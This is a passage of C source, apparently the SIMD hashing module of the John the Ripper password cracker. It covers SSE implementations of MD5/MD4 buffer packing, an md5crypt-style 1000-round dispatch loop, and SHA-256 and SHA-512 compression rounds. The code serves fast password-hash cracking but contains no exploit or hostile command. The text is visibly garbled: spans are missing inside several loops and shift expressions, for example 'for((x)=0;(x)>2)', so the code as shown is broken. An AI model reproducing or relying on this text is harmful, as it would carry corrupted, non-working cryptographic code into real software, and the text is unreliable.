y[z+(3<<4)], 3); \ } #endif #define GATHER64(x,y,z) {x = _mm_set_epi64x (y[1][z], y[0][z]);} #ifndef MMX_COEF #define MMX_COEF 4 #endif #ifdef MD5_SSE_PARA #define MD5_SSE_NUM_KEYS (MMX_COEF*MD5_SSE_PARA) #define MD5_PARA_DO(x) for((x)=0;(x)>2)*64*MMX_COEF + bid*64*MD5_SSE_NUM_KEYS; for(i=0;i>(32-dec)); ((unsigned int *)(nbuf+noffd*4))[i] |= (((unsigned int *)src)[i+j*16+0] << dec); ((unsigned int *)(nbuf+noffd*4))[i+4] = (((unsigned int *)src)[i+j*16+4] << dec) | (((unsigned int *)src)[i+j*16+0] >> (32-dec)); ((unsigned int *)(nbuf+noffd*4))[i+8] = (((unsigned int *)src)[i+j*16+8] << dec) | (((unsigned int *)src)[i+j*16+4] >> (32-dec)); ((unsigned int *)(nbuf+noffd*4))[i+12] = (((unsigned int *)src)[i+j*16+12] << dec) | (((unsigned int *)src)[i+j*16+8] >> (32-dec)); ((unsigned int *)(nbuf+noffd*4))[i+16] &= (0xffffffff<> (32-dec)); } else { ((unsigned int *)(nbuf+noff*4))[i] = ((unsigned int *)src)[i+j*16+0]; ((unsigned int *)(nbuf+noff*4))[i+4] = ((unsigned int *)src)[i+j*16+4]; ((unsigned int *)(nbuf+noff*4))[i+8] = ((unsigned int *)src)[i+j*16+8]; ((unsigned int *)(nbuf+noff*4))[i+12] = ((unsigned int *)src)[i+j*16+12]; } } } } static MAYBE_INLINE void dispatch(unsigned char buffers[8][64*MD5_SSE_NUM_KEYS], unsigned int f[4*MD5_SSE_NUM_KEYS], unsigned int length[MD5_SSE_NUM_KEYS], unsigned int saltlen) { unsigned int i, j; unsigned int bufferid; i = 1000 / 42; j = 0; do { switch(j) { case 0: bufferid = 0; mmxput2(buffers, bufferid, f); break; case 21: bufferid = 1; mmxput3(buffers, bufferid, length, 1, 0, f); break; case 3: case 9: case 15: case 27: case 33: case 39: bufferid = 2; mmxput3(buffers, bufferid, length, 2, 0, f); break; case 6: case 12: case 18: case 24: case 30: case 36: bufferid = 3; mmxput2(buffers, bufferid, f); break; case 7: case 35: bufferid = 4; mmxput3(buffers, bufferid, length, 1, saltlen, f); break; case 14: case 28: bufferid = 5; mmxput2(buffers, bufferid, f); break; case 2: case 4: case 8: case 10: case 16: case 20: case 22: case 26: case 32: case 34: case 38: case 40: bufferid = 6; mmxput2(buffers, bufferid, f); break; default: bufferid = 7; mmxput3(buffers, bufferid, length, 2, saltlen, f); break; } SSEmd5body((__m128i*)&buffers[bufferid], f, NULL, SSEi_MIXED_IN); if (j++ < 1000 % 42 - 1) continue; if (j == 1000 % 42) { if (!i) break; i--; continue; } if (j >= 42) j = 0; } while (1); } #endif /* MD5_SSE_PARA */ #ifdef MD4_SSE_PARA #define MD4_SSE_NUM_KEYS (MMX_COEF*MD4_SSE_PARA) #define MD4_PARA_DO(x) for((x)=0;(x)15?(x-2)%16:x-2, (x-7)>15?(x-7)%16:x-7, (x-15)>15?(x-15)%16:x-15, K); */ /* TODO: * 1. (DONE) try to get w[] array down to w[32]. (Actually, now it is ONLY [16] in size. * the data[] array is only required to be 16 elements also. * 2. (DONE) Get sha224 working (different IV, and only copy 224 bits) * 3. (DONE, needs tested.) Handle the init, so we can do more than 1 block. * 4. (DONE) try to make this function work properly with either a 'flat' input or a more common (in JtR lingo), COEF mixed set of data * 5. (DONE) Redid the out, into a MMX mixed blob, and not 8 arrays * 6. (DONE) Separated the reload array from the out array. Required for work like PBKDF2, where we capture first block value, then replay it over and over. * 6. Optimizations. Look at intel, AMD, newest intel, newest AMD, etc performances. * 7. See if we can do anything better using 'DO_PARA' type methods, like we do in SHA1/MD4/5 */ #if defined (MMX_COEF_SHA256) void SSESHA256body(__m128i *data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags) { __m128i a, b, c, d, e, f, g, h; union { __m128i w[16]; ARCH_WORD_32 p[16*sizeof(__m128i)/sizeof(ARCH_WORD_32)]; }_w; __m128i tmp1, tmp2, *w=_w.w; ARCH_WORD_32 *saved_key=0; int i; if (SSEi_flags & SSEi_FLAT_IN) { #ifdef __SSE4_1__ saved_key = (ARCH_WORD_32 *)data; if (SSEi_flags & SSEi_4BUF_INPUT) { for (i=0; i < 14; ++i) { GATHER_4x (w[i], saved_key, i); SWAP_ENDIAN (w[i]); } GATHER_4x (w[14], saved_key, 14); GATHER_4x (w[15], saved_key, 15); } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (i=0; i < 14; ++i) { GATHER_2x (w[i], saved_key, i); SWAP_ENDIAN (w[i]); } GATHER_2x (w[14], saved_key, 14); GATHER_2x (w[15], saved_key, 15); } else { for (i=0; i < 14; ++i) { GATHER (w[i], saved_key, i); SWAP_ENDIAN (w[i]); } GATHER (w[14], saved_key, 14); GATHER (w[15], saved_key, 15); } if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK)) { SWAP_ENDIAN (w[14]); SWAP_ENDIAN (w[15]); } #else int j; ARCH_WORD_32 *p = _w.p; saved_key = (ARCH_WORD_32 *)data; if (SSEi_flags & SSEi_4BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < MMX_COEF_SHA256; i++) *p++ = saved_key[(i<<6)+j]; } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < MMX_COEF_SHA256; i++) *p++ = saved_key[(i<<5)+j]; } else { for (j=0; j < 16; j++) for (i=0; i < MMX_COEF_SHA256; i++) *p++ = saved_key[(i<<4)+j]; } for (i=0; i < 14; i++) SWAP_ENDIAN (w[i]); if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK)) { SWAP_ENDIAN (w[14]); SWAP_ENDIAN (w[15]); } #endif } else memcpy(w, data, 16*sizeof(__m128i)); // dump_stuff_shammx(w, 64, 0); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { i=0; // later if we do PARA, i will be used in the PARA_FOR loop a = _mm_load_si128((__m128i *)&reload_state[i*16*4+0]); b = _mm_load_si128((__m128i *)&reload_state[i*16*4+4]); c = _mm_load_si128((__m128i *)&reload_state[i*16*4+8]); d = _mm_load_si128((__m128i *)&reload_state[i*16*4+12]); e = _mm_load_si128((__m128i *)&reload_state[i*16*4+16]); f = _mm_load_si128((__m128i *)&reload_state[i*16*4+20]); g = _mm_load_si128((__m128i *)&reload_state[i*16*4+24]); h = _mm_load_si128((__m128i *)&reload_state[i*16*4+28]); } else { i=0; a = _mm_load_si128((__m128i *)&reload_state[i*32+0]); b = _mm_load_si128((__m128i *)&reload_state[i*32+4]); c = _mm_load_si128((__m128i *)&reload_state[i*32+8]); d = _mm_load_si128((__m128i *)&reload_state[i*32+12]); e = _mm_load_si128((__m128i *)&reload_state[i*32+16]); f = _mm_load_si128((__m128i *)&reload_state[i*32+20]); g = _mm_load_si128((__m128i *)&reload_state[i*32+24]); h = _mm_load_si128((__m128i *)&reload_state[i*32+28]); } } else { if (SSEi_flags & SSEi_CRYPT_SHA224) { /* SHA-224 IV */ a = _mm_set1_epi32 (0xc1059ed8); b = _mm_set1_epi32 (0x367cd507); c = _mm_set1_epi32 (0x3070dd17); d = _mm_set1_epi32 (0xf70e5939); e = _mm_set1_epi32 (0xffc00b31); f = _mm_set1_epi32 (0x68581511); g = _mm_set1_epi32 (0x64f98fa7); h = _mm_set1_epi32 (0xbefa4fa4); } else { // SHA-256 IV */ a = _mm_set1_epi32 (0x6a09e667); b = _mm_set1_epi32 (0xbb67ae85); c = _mm_set1_epi32 (0x3c6ef372); d = _mm_set1_epi32 (0xa54ff53a); e = _mm_set1_epi32 (0x510e527f); f = _mm_set1_epi32 (0x9b05688c); g = _mm_set1_epi32 (0x1f83d9ab); h = _mm_set1_epi32 (0x5be0cd19); } } SHA256_STEP0(a, b, c, d, e, f, g, h, 0, 0x428a2f98); SHA256_STEP0(h, a, b, c, d, e, f, g, 1, 0x71374491); SHA256_STEP0(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcf); SHA256_STEP0(f, g, h, a, b, c, d, e, 3, 0xe9b5dba5); SHA256_STEP0(e, f, g, h, a, b, c, d, 4, 0x3956c25b); SHA256_STEP0(d, e, f, g, h, a, b, c, 5, 0x59f111f1); SHA256_STEP0(c, d, e, f, g, h, a, b, 6, 0x923f82a4); SHA256_STEP0(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5); SHA256_STEP0(a, b, c, d, e, f, g, h, 8, 0xd807aa98); SHA256_STEP0(h, a, b, c, d, e, f, g, 9, 0x12835b01); SHA256_STEP0(g, h, a, b, c, d, e, f, 10, 0x243185be); SHA256_STEP0(f, g, h, a, b, c, d, e, 11, 0x550c7dc3); SHA256_STEP0(e, f, g, h, a, b, c, d, 12, 0x72be5d74); SHA256_STEP0(d, e, f, g, h, a, b, c, 13, 0x80deb1fe); SHA256_STEP0(c, d, e, f, g, h, a, b, 14, 0x9bdc06a7); SHA256_STEP0(b, c, d, e, f, g, h, a, 15, 0xc19bf174); SHA256_STEP_R(a,b,c,d,e,f,g,h, 0,14, 9, 1, 0xe49b69c1); SHA256_STEP_R(h,a,b,c,d,e,f,g, 1,15,10, 2, 0xefbe4786); SHA256_STEP_R(g,h,a,b,c,d,e,f, 2, 0,11, 3, 0x0fc19dc6); SHA256_STEP_R(f,g,h,a,b,c,d,e, 3, 1,12, 4, 0x240ca1cc); SHA256_STEP_R(e,f,g,h,a,b,c,d, 4, 2,13, 5, 0x2de92c6f); SHA256_STEP_R(d,e,f,g,h,a,b,c, 5, 3,14, 6, 0x4a7484aa); SHA256_STEP_R(c,d,e,f,g,h,a,b, 6, 4,15, 7, 0x5cb0a9dc); SHA256_STEP_R(b,c,d,e,f,g,h,a, 7, 5, 0, 8, 0x76f988da); SHA256_STEP_R(a,b,c,d,e,f,g,h, 8, 6, 1, 9, 0x983e5152); SHA256_STEP_R(h,a,b,c,d,e,f,g, 9, 7, 2,10, 0xa831c66d); SHA256_STEP_R(g,h,a,b,c,d,e,f, 10, 8, 3,11, 0xb00327c8); SHA256_STEP_R(f,g,h,a,b,c,d,e, 11, 9, 4,12, 0xbf597fc7); SHA256_STEP_R(e,f,g,h,a,b,c,d, 12,10, 5,13, 0xc6e00bf3); SHA256_STEP_R(d,e,f,g,h,a,b,c, 13,11, 6,14, 0xd5a79147); SHA256_STEP_R(c,d,e,f,g,h,a,b, 14,12, 7,15, 0x06ca6351); SHA256_STEP_R(b,c,d,e,f,g,h,a, 15,13, 8, 0, 0x14292967); SHA256_STEP_R(a,b,c,d,e,f,g,h, 0,14, 9, 1, 0x27b70a85); SHA256_STEP_R(h,a,b,c,d,e,f,g, 1,15,10, 2, 0x2e1b2138); SHA256_STEP_R(g,h,a,b,c,d,e,f, 2, 0,11, 3, 0x4d2c6dfc); SHA256_STEP_R(f,g,h,a,b,c,d,e, 3, 1,12, 4, 0x53380d13); SHA256_STEP_R(e,f,g,h,a,b,c,d, 4, 2,13, 5, 0x650a7354); SHA256_STEP_R(d,e,f,g,h,a,b,c, 5, 3,14, 6, 0x766a0abb); SHA256_STEP_R(c,d,e,f,g,h,a,b, 6, 4,15, 7, 0x81c2c92e); SHA256_STEP_R(b,c,d,e,f,g,h,a, 7, 5, 0, 8, 0x92722c85); SHA256_STEP_R(a,b,c,d,e,f,g,h, 8, 6, 1, 9, 0xa2bfe8a1); SHA256_STEP_R(h,a,b,c,d,e,f,g, 9, 7, 2,10, 0xa81a664b); SHA256_STEP_R(g,h,a,b,c,d,e,f, 10, 8, 3,11, 0xc24b8b70); SHA256_STEP_R(f,g,h,a,b,c,d,e, 11, 9, 4,12, 0xc76c51a3); SHA256_STEP_R(e,f,g,h,a,b,c,d, 12,10, 5,13, 0xd192e819); SHA256_STEP_R(d,e,f,g,h,a,b,c, 13,11, 6,14, 0xd6990624); SHA256_STEP_R(c,d,e,f,g,h,a,b, 14,12, 7,15, 0xf40e3585); SHA256_STEP_R(b,c,d,e,f,g,h,a, 15,13, 8, 0, 0x106aa070); SHA256_STEP_R(a,b,c,d,e,f,g,h, 0,14, 9, 1, 0x19a4c116); SHA256_STEP_R(h,a,b,c,d,e,f,g, 1,15,10, 2, 0x1e376c08); SHA256_STEP_R(g,h,a,b,c,d,e,f, 2, 0,11, 3, 0x2748774c); SHA256_STEP_R(f,g,h,a,b,c,d,e, 3, 1,12, 4, 0x34b0bcb5); SHA256_STEP_R(e,f,g,h,a,b,c,d, 4, 2,13, 5, 0x391c0cb3); SHA256_STEP_R(d,e,f,g,h,a,b,c, 5, 3,14, 6, 0x4ed8aa4a); SHA256_STEP_R(c,d,e,f,g,h,a,b, 6, 4,15, 7, 0x5b9cca4f); SHA256_STEP_R(b,c,d,e,f,g,h,a, 7, 5, 0, 8, 0x682e6ff3); SHA256_STEP_R(a,b,c,d,e,f,g,h, 8, 6, 1, 9, 0x748f82ee); SHA256_STEP_R(h,a,b,c,d,e,f,g, 9, 7, 2,10, 0x78a5636f); SHA256_STEP_R(g,h,a,b,c,d,e,f, 10, 8, 3,11, 0x84c87814); SHA256_STEP_R(f,g,h,a,b,c,d,e, 11, 9, 4,12, 0x8cc70208); SHA256_STEP_R(e,f,g,h,a,b,c,d, 12,10, 5,13, 0x90befffa); SHA256_STEP_R(d,e,f,g,h,a,b,c, 13,11, 6,14, 0xa4506ceb); SHA256_STEP_R(c,d,e,f,g,h,a,b, 14,12, 7,15, 0xbef9a3f7); SHA256_STEP_R(b,c,d,e,f,g,h,a, 15,13, 8, 0, 0xc67178f2); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { i=0; // later if we do PARA, i will be used in the PARA_FOR loop a = _mm_add_epi32(a,_mm_load_si128((__m128i *)&reload_state[i*16*2+0])); b = _mm_add_epi32(b,_mm_load_si128((__m128i *)&reload_state[i*16*2+4])); c = _mm_add_epi32(c,_mm_load_si128((__m128i *)&reload_state[i*16*2+8])); d = _mm_add_epi32(d,_mm_load_si128((__m128i *)&reload_state[i*16*2+12])); e = _mm_add_epi32(e,_mm_load_si128((__m128i *)&reload_state[i*16*2+16])); f = _mm_add_epi32(f,_mm_load_si128((__m128i *)&reload_state[i*16*2+20])); g = _mm_add_epi32(g,_mm_load_si128((__m128i *)&reload_state[i*16*2+24])); h = _mm_add_epi32(h,_mm_load_si128((__m128i *)&reload_state[i*16*2+28])); } else { i=0; a = _mm_add_epi32(a,_mm_load_si128((__m128i *)&reload_state[i*32+0])); b = _mm_add_epi32(b,_mm_load_si128((__m128i *)&reload_state[i*32+4])); c = _mm_add_epi32(c,_mm_load_si128((__m128i *)&reload_state[i*32+8])); d = _mm_add_epi32(d,_mm_load_si128((__m128i *)&reload_state[i*32+12])); e = _mm_add_epi32(e,_mm_load_si128((__m128i *)&reload_state[i*32+16])); f = _mm_add_epi32(f,_mm_load_si128((__m128i *)&reload_state[i*32+20])); g = _mm_add_epi32(g,_mm_load_si128((__m128i *)&reload_state[i*32+24])); h = _mm_add_epi32(h,_mm_load_si128((__m128i *)&reload_state[i*32+28])); } } else if ((SSEi_flags & SSEi_SKIP_FINAL_ADD) == 0) { if (SSEi_flags & SSEi_CRYPT_SHA224) { /* SHA-224 IV */ a = _mm_add_epi32 (a, _mm_set1_epi32 (0xc1059ed8)); b = _mm_add_epi32 (b, _mm_set1_epi32 (0x367cd507)); c = _mm_add_epi32 (c, _mm_set1_epi32 (0x3070dd17)); d = _mm_add_epi32 (d, _mm_set1_epi32 (0xf70e5939)); e = _mm_add_epi32 (e, _mm_set1_epi32 (0xffc00b31)); f = _mm_add_epi32 (f, _mm_set1_epi32 (0x68581511)); g = _mm_add_epi32 (g, _mm_set1_epi32 (0x64f98fa7)); h = _mm_add_epi32 (h, _mm_set1_epi32 (0xbefa4fa4)); } else { /* SHA-256 IV */ a = _mm_add_epi32 (a, _mm_set1_epi32 (0x6a09e667)); b = _mm_add_epi32 (b, _mm_set1_epi32 (0xbb67ae85)); c = _mm_add_epi32 (c, _mm_set1_epi32 (0x3c6ef372)); d = _mm_add_epi32 (d, _mm_set1_epi32 (0xa54ff53a)); e = _mm_add_epi32 (e, _mm_set1_epi32 (0x510e527f)); f = _mm_add_epi32 (f, _mm_set1_epi32 (0x9b05688c)); g = _mm_add_epi32 (g, _mm_set1_epi32 (0x1f83d9ab)); h = _mm_add_epi32 (h, _mm_set1_epi32 (0x5be0cd19)); } } if (SSEi_flags & SSEi_SWAP_FINAL) { /* NOTE, if we swap OUT of BE into proper LE, then this can not be * used in a sha256_flags&SHA256_RELOAD manner, without swapping back into BE format. * NORMALLY, a format will switch binary values into BE format at start, and then * just take the 'normal' non swapped output of this function (i.e. keep it in BE) */ SWAP_ENDIAN (a); SWAP_ENDIAN (b); SWAP_ENDIAN (c); SWAP_ENDIAN (d); SWAP_ENDIAN (e); SWAP_ENDIAN (f); SWAP_ENDIAN (g); SWAP_ENDIAN (h); } /* We store the MMX_mixed values. This will be in proper 'mixed' format, in BE * format (i.e. correct to reload on a subsquent call), UNLESS, swapped in the prior * if statement (the SHA256_SWAP_FINAL) */ if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) { i=0; //SHA512_PARA_DO(i) { _mm_store_si128((__m128i *)&out[i*16*4+0], a); _mm_store_si128((__m128i *)&out[i*16*4+4], b); _mm_store_si128((__m128i *)&out[i*16*4+8], c); _mm_store_si128((__m128i *)&out[i*16*4+12], d); _mm_store_si128((__m128i *)&out[i*16*4+16], e); _mm_store_si128((__m128i *)&out[i*16*4+20], f); _mm_store_si128((__m128i *)&out[i*16*4+24], g); _mm_store_si128((__m128i *)&out[i*16*4+28], h); } } else { i=0; //SHA512_PARA_DO(i) { _mm_store_si128 ((__m128i *)&(out[i*32+0]), a); _mm_store_si128 ((__m128i *)&(out[i*32+4]), b); _mm_store_si128 ((__m128i *)&(out[i*32+8]), c); _mm_store_si128 ((__m128i *)&(out[i*32+12]), d); _mm_store_si128 ((__m128i *)&(out[i*32+16]), e); _mm_store_si128 ((__m128i *)&(out[i*32+20]), f); _mm_store_si128 ((__m128i *)&(out[i*32+24]), g); _mm_store_si128 ((__m128i *)&(out[i*32+28]), h); } } } #endif /* SHA-512 below */ #undef S0 #define S0(x) \ ( \ _mm_xor_si128 ( \ _mm_roti_epi64 (x, -39), \ _mm_xor_si128 ( \ _mm_roti_epi64 (x, -28), \ _mm_roti_epi64 (x, -34) \ ) \ ) \ ) #undef S1 #define S1(x) \ ( \ _mm_xor_si128 ( \ _mm_roti_epi64 (x, -41), \ _mm_xor_si128 ( \ _mm_roti_epi64 (x, -14), \ _mm_roti_epi64 (x, -18) \ ) \ ) \ ) #undef s0 #define s0(x) \ ( \ _mm_xor_si128 ( \ _mm_srli_epi64 (x, 7), \ _mm_xor_si128 ( \ _mm_roti_epi64 (x, -1), \ _mm_roti_epi64 (x, -8) \ ) \ ) \ ) #undef s1 #define s1(x) \ ( \ _mm_xor_si128 ( \ _mm_srli_epi64 (x, 6), \ _mm_xor_si128 ( \ _mm_roti_epi64 (x, -19), \ _mm_roti_epi64 (x, -61) \ ) \ ) \ ) #define Maj(x,y,z) _mm_cmov_si128 (x, y, _mm_xor_si128 (z, y)) #define Ch(x,y,z) _mm_cmov_si128 (y, z, x) #undef R #define R(t) \ { \ tmp1 = _mm_add_epi64 (s1(w[t - 2]), w[t - 7]); \ tmp2 = _mm_add_epi64 (s0(w[t - 15]), w[t - 16]); \ w[t] = _mm_add_epi64 (tmp1, tmp2); \ } #define SHA512_STEP(a,b,c,d,e,f,g,h,x,K) \ { \ tmp1 = _mm_add_epi64 (h, w[x]); \ tmp2 = _mm_add_epi64 (S1(e),_mm_set1_epi64x(K)); \ tmp1 = _mm_add_epi64 (tmp1, Ch(e,f,g)); \ tmp1 = _mm_add_epi64 (tmp1, tmp2); \ tmp2 = _mm_add_epi64 (S0(a),Maj(a,b,c)); \ d = _mm_add_epi64 (tmp1, d); \ h = _mm_add_epi64 (tmp1, tmp2); \ } #if defined (MMX_COEF_SHA512) void SSESHA512body(__m128i* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state, unsigned SSEi_flags) { int i; __m128i a, b, c, d, e, f, g, h; __m128i w[80], tmp1, tmp2; if (SSEi_flags & SSEi_FLAT_IN) { if (SSEi_flags & SSEi_2BUF_INPUT) { ARCH_WORD_64 (*saved_key)[32] = (ARCH_WORD_64(*)[32])data; for (i = 0; i < 14; i += 2) { GATHER64 (tmp1, saved_key, i); GATHER64 (tmp2, saved_key, i + 1); SWAP_ENDIAN64 (tmp1); SWAP_ENDIAN64 (tmp2); w[i] = tmp1; w[i + 1] = tmp2; } GATHER64 (tmp1, saved_key, 14); GATHER64 (tmp2, saved_key, 15); } else { ARCH_WORD_64 (*saved_key)[16] = (ARCH_WORD_64(*)[16])data; for (i = 0; i < 14; i += 2) { GATHER64 (tmp1, saved_key, i); GATHER64 (tmp2, saved_key, i + 1); SWAP_ENDIAN64 (tmp1); SWAP_ENDIAN64 (tmp2); w[i] = tmp1; w[i + 1] = tmp2; } GATHER64 (tmp1, saved_key, 14); GATHER64 (tmp2, saved_key, 15); } if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK)) { SWAP_ENDIAN64 (tmp1); SWAP_ENDIAN64 (tmp2); } w[14] = tmp1; w[15] = tmp2; } else memcpy(w, data, 16*sizeof(__m128i)); for (i = 16; i < 80; i++) R(i); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { i=0; // later if we do PARA, i will be used in the PARA_FOR loop a = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 0/2)]); b = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 4/2)]); c = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 8/2)]); d = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(12/2)]); e = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(16/2)]); f = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(20/2)]); g = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(24/2)]); h = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(28/2)]); } else { i=0; a = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 0/2)]); b = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 4/2)]); c = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 8/2)]); d = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(12/2)]); e = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(16/2)]); f = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(20/2)]); g = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(24/2)]); h = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(28/2)]); } } else { if (SSEi_flags & SSEi_CRYPT_SHA384) { /* SHA-384 IV */ a = _mm_set1_epi64x (0xcbbb9d5dc1059ed8ULL); b = _mm_set1_epi64x (0x629a292a367cd507ULL); c = _mm_set1_epi64x (0x9159015a3070dd17ULL); d = _mm_set1_epi64x (0x152fecd8f70e5939ULL); e = _mm_set1_epi64x (0x67332667ffc00b31ULL); f = _mm_set1_epi64x (0x8eb44a8768581511ULL); g = _mm_set1_epi64x (0xdb0c2e0d64f98fa7ULL); h = _mm_set1_epi64x (0x47b5481dbefa4fa4ULL); } else { // SHA-512 IV */ a = _mm_set1_epi64x (0x6a09e667f3bcc908ULL); b = _mm_set1_epi64x (0xbb67ae8584caa73bULL); c = _mm_set1_epi64x (0x3c6ef372fe94f82bULL); d = _mm_set1_epi64x (0xa54ff53a5f1d36f1ULL); e = _mm_set1_epi64x (0x510e527fade682d1ULL); f = _mm_set1_epi64x (0x9b05688c2b3e6c1fULL); g = _mm_set1_epi64x (0x1f83d9abfb41bd6bULL); h = _mm_set1_epi64x (0x5be0cd19137e2179ULL); } } SHA512_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98d728ae22ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 1, 0x7137449123ef65cdULL); SHA512_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcfec4d3b2fULL); SHA512_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba58189dbbcULL); SHA512_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25bf348b538ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1b605d019ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4af194f9bULL); SHA512_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5da6d8118ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98a3030242ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b0145706fbeULL); SHA512_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be4ee4b28cULL); SHA512_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3d5ffb4e2ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74f27b896fULL); SHA512_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe3b1696b1ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a725c71235ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174cf692694ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c19ef14ad2ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786384f25e3ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc68b8cd5b5ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc77ac9c65ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f592b0275ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa6ea6e483ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dcbd41fbd4ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da831153b5ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152ee66dfabULL); SHA512_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d2db43210ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c898fb213fULL); SHA512_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7beef0ee4ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf33da88fc2ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147930aa725ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351e003826fULL); SHA512_STEP(b, c, d, e, f, g, h, a, 31, 0x142929670a0e6e70ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a8546d22ffcULL); SHA512_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b21385c26c926ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc5ac42aedULL); SHA512_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d139d95b3dfULL); SHA512_STEP(e, f, g, h, a, b, c, d, 36, 0x650a73548baf63deULL); SHA512_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb3c77b2a8ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e47edaee6ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c851482353bULL); SHA512_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a14cf10364ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664bbc423001ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70d0f89791ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a30654be30ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819d6ef5218ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 45, 0xd69906245565a910ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e35855771202aULL); SHA512_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa07032bbd1b8ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116b8d2d0c8ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c085141ab53ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774cdf8eeb99ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5e19b48a8ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3c5c95a63ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4ae3418acbULL); SHA512_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f7763e373ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3d6b2b8a3ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee5defb2fcULL); SHA512_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f43172f60ULL); SHA512_STEP(g, h, a, b, c, d, e, 